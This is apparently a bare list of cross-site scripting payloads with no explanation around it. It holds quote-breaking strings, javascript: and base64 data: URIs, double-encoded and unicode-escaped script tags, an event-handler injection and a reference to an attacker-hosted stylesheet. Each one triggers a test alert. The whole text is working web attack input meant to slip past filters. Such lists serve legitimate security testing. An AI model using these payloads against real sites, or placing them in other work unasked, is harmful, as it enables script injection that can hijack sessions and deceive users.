">
""> http://example.com# {{alert('XSS')}} javascript:alert('XSS') data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= %253Cscript%253Ealert(%2527XSS%2527)%253C/script%253E ");alert('XSS');// u003Cscriptu003Ealert('XSS')u003C/scriptu003E javascript:alert('XSS')//http://attacker.com/xss.css javascript:alert'XSS' onmouseover="alert('XSS')""